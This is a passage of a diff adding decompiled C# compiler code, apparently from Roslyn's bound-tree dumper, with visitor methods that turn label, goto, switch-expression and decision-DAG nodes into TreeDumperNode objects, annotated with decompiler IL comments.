(object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("parameterSymbol", (object)node.ParameterSymbol, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLabelStatement(BoundLabelStatement node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected O, but got Unknown + return new TreeDumperNode("labelStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitGotoStatement(BoundGotoStatement node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + return new TreeDumperNode("gotoStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("caseExpressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.CaseExpressionOpt, null) }), + new TreeDumperNode("labelExpressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LabelExpressionOpt, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLabeledStatement(BoundLabeledStatement node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + return new TreeDumperNode("labeledStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLabel(BoundLabel node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + return new TreeDumperNode("label", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitStatementList(BoundStatementList node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected O, but got Unknown + return new TreeDumperNode("statementList", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("statements", (object)null, node.Statements.Select((BoundStatement x) => Visit(x, null))), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConditionalGoto(BoundConditionalGoto node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("conditionalGoto", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("condition", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Condition, null) }), + new TreeDumperNode("jumpIfTrue", (object)node.JumpIfTrue, (IEnumerable)null), + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSwitchExpressionArm(BoundSwitchExpressionArm node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Expected O, but got Unknown + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Expected O, but got Unknown + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Expected O, but got Unknown + return new TreeDumperNode("switchExpressionArm", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("pattern", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Pattern, null) }), + new TreeDumperNode("whenClause", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.WhenClause, null) }), + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUnconvertedSwitchExpression(BoundUnconvertedSwitchExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Expected O, but got Unknown + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Expected O, but got Unknown + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Expected O, but got Unknown + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Expected O, but got Unknown + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Expected O, but got Unknown + return new TreeDumperNode("unconvertedSwitchExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("switchArms", (object)null, node.SwitchArms.Select((BoundSwitchExpressionArm x) => Visit(x, null))), + new TreeDumperNode("reachabilityDecisionDag", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReachabilityDecisionDag, null) }), + new TreeDumperNode("defaultLabel", (object)node.DefaultLabel, (IEnumerable)null), + new TreeDumperNode("reportedNotExhaustive", (object)node.ReportedNotExhaustive, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node, object? arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Expected O, but got Unknown + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Expected O, but got Unknown + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Expected O, but got Unknown + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Expected O, but got Unknown + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Expected O, but got Unknown + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Expected O, but got Unknown + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Expected O, but got Unknown + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Expected O, but got Unknown + return new TreeDumperNode("convertedSwitchExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[10] + { + new TreeDumperNode("naturalTypeOpt", (object)node.NaturalTypeOpt, (IEnumerable)null), + new TreeDumperNode("wasTargetTyped", (object)node.WasTargetTyped, (IEnumerable)null), + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("switchArms", (object)null, node.SwitchArms.Select((BoundSwitchExpressionArm x) => Visit(x, null))), + new TreeDumperNode("reachabilityDecisionDag", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReachabilityDecisionDag, null) }), + new TreeDumperNode("defaultLabel", (object)node.DefaultLabel, (IEnumerable)null), + new TreeDumperNode("reportedNotExhaustive", (object)node.ReportedNotExhaustive, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDecisionDag(BoundDecisionDag node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + return new TreeDumperNode("decisionDag", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("rootNode", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.RootNode, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitEvaluationDecisionDagNode(BoundEvaluationDecisionDagNode node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Expected O, but got Unknown + return new TreeDumperNode("evaluationDecisionDagNode", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("evaluation", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Evaluation, null) }), + new TreeDumperNode("next", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Next, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitTestDecisionDagNode(BoundTestDecisionDagNode node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Expected O, but got Unknown + return new TreeDumperNode("testDecisionDagNode", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("test", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Test, null) }), + new TreeDumperNode("whenTrue", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.WhenTrue, null) }), + new TreeDumperNode("whenFalse", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.WhenFalse, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitWhenDecisionDagNode(BoundWhenDecisionDagNode node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Expected O, but got Unknown + return new TreeDumperNode("whenDecisionDagNode", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("bindings", (object)node.Bindings, (IEnumerable)null), + new TreeDumperNode("whenExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.WhenExpression, null) }), + new TreeDumperNode("whenTrue", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.WhenTrue, null) }), + new TreeDumperNode("whenFalse", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.WhenFalse, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLeafDecisionDagNode(BoundLeafDecisionDagNode node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected O, but got Unknown + return new TreeDumperNode("leafDecisionDagNode", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagTemp(BoundDagTemp node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("dagTemp", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("source", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Source, null) }), + new TreeDumperNode("index", (object)node.Index, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagTypeTest(BoundDagTypeTest node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + return new TreeDumperNode("dagTypeTest", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagNonNullTest(BoundDagNonNullTest node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + return new TreeDumperNode("dagNonNullTest", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("isExplicitTest", (object)node.IsExplicitTest, (IEnumerable)null), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagExplicitNullTest(BoundDagExplicitNullTest node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + return new TreeDumperNode("dagExplicitNullTest", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagValueTest(BoundDagValueTest node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + return new TreeDumperNode("dagValueTest", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("value", (object)node.Value, (IEnumerable)null), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagRelationalTest(BoundDagRelationalTest node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("dagRelationalTest", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("operatorKind", (object)node.OperatorKind, (IEnumerable)null), + new TreeDumperNode("value", (object)node.Value, (IEnumerable)null), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagDeconstructEvaluation(BoundDagDeconstructEvaluation node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + return new TreeDumperNode("dagDeconstructEvaluation", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("deconstructMethod", (object)node.DeconstructMethod, (IEnumerable)null), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagTypeEvaluation(BoundDagTypeEvaluation node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + return new TreeDumperNode("dagTypeEvaluation", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagFieldEvaluation(BoundDagFieldEvaluation node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + return new TreeDumperNode("dagFieldEvaluation", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("field", (object)node.Field, (IEnumerable)null), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagPropertyEvaluation(BoundDagPropertyEvaluation node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("dagPropertyEvaluation", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("property", (object)node.Property, (IEnumerable)null), + new TreeDumperNode("isLengthOrCount", (object)node.IsLengthOrCount, (IEnumerable)null), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagIndexEvaluation(BoundDagIndexEvaluation node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("dagIndexEvaluation", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("property", (object)node.Property, (IEnumerable)null), + new TreeDumperNode("index", (object)node.Index, (IEnumerable)null), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagIndexerEvaluation(BoundDagIndexerEvaluation node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Expected O, but got Unknown + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Expected O, but got Unknown + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Expected O, but got Unknown + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Expected O, but got Unknown + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Expected O, but got Unknown + return new TreeDumperNode("dagIndexerEvaluation", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("indexerType", (object)node.IndexerType, (IEnumerable)null), + new TreeDumperNode("lengthTemp", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LengthTemp, null) }), + new TreeDumperNode("index", (object)node.Index, (IEnumerable)null), + new TreeDumperNode("indexerAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.IndexerAccess, null) }), + new TreeDumperNode("receiverPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverPlaceholder, null) }), + new TreeDumperNode("argumentPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ArgumentPlaceholder, null) }), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagSliceEvaluation(BoundDagSliceEvaluation node, object? arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Expected O, but got Unknown + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Expected O, but got Unknown + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Expected O, but got Unknown + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Expected O, but got Unknown + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Expected O, but got Unknown + return new TreeDumperNode("dagSliceEvaluation", (object)null, (IEnumerable)(object)new TreeDumperNode[9] + { + new TreeDumperNode("sliceType", (object)node.SliceType, (IEnumerable)null), + new TreeDumperNode("lengthTemp", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LengthTemp, null) }), + new TreeDumperNode("startIndex", (object)node.StartIndex, (IEnumerable)null), + new TreeDumperNode("endIndex", (object)node.EndIndex, (IEnumerable)null), + new TreeDumperNode("indexerAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.IndexerAccess, null) }), + new TreeDumperNode("receiverPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReceiverPlaceholder, null) }), + new TreeDumperNode("argumentPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ArgumentPlaceholder, null) }), + new TreeDumperNode("input", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Input, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDagAssignmentEvaluation(BoundDagAssignmentEvaluation node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown 